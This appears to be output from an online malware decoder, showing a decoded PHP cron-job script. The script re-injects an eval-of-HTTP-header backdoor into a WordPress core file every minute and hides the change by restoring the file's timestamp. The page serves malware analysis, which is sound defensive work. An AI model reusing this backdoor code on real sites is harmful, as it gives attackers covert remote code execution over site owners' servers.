Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


* * * * * /usr/bin/php -r '
phpConfValidate('YTo0OntpOjA7czo0NzoiL2hvbWUvLnNpdGVzLzMzL3NpdGUzOC93ZWIvd3AtaW5jbHVkZXMvdXNlci5waHAiO2k6MTtzOjc6IjkwRkU5MzMiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF85MEZFOTMzJ10pOyI7aTozO3M6MzQ6In5eXHMqZnVuY3Rpb25ccyt1cGRhdGVfdXNlcl9tZXRhfm0iO30=');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (strstr($source, $systemEnv) !== false) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}
'



© 2023 Quttera Ltd. All rights reserved.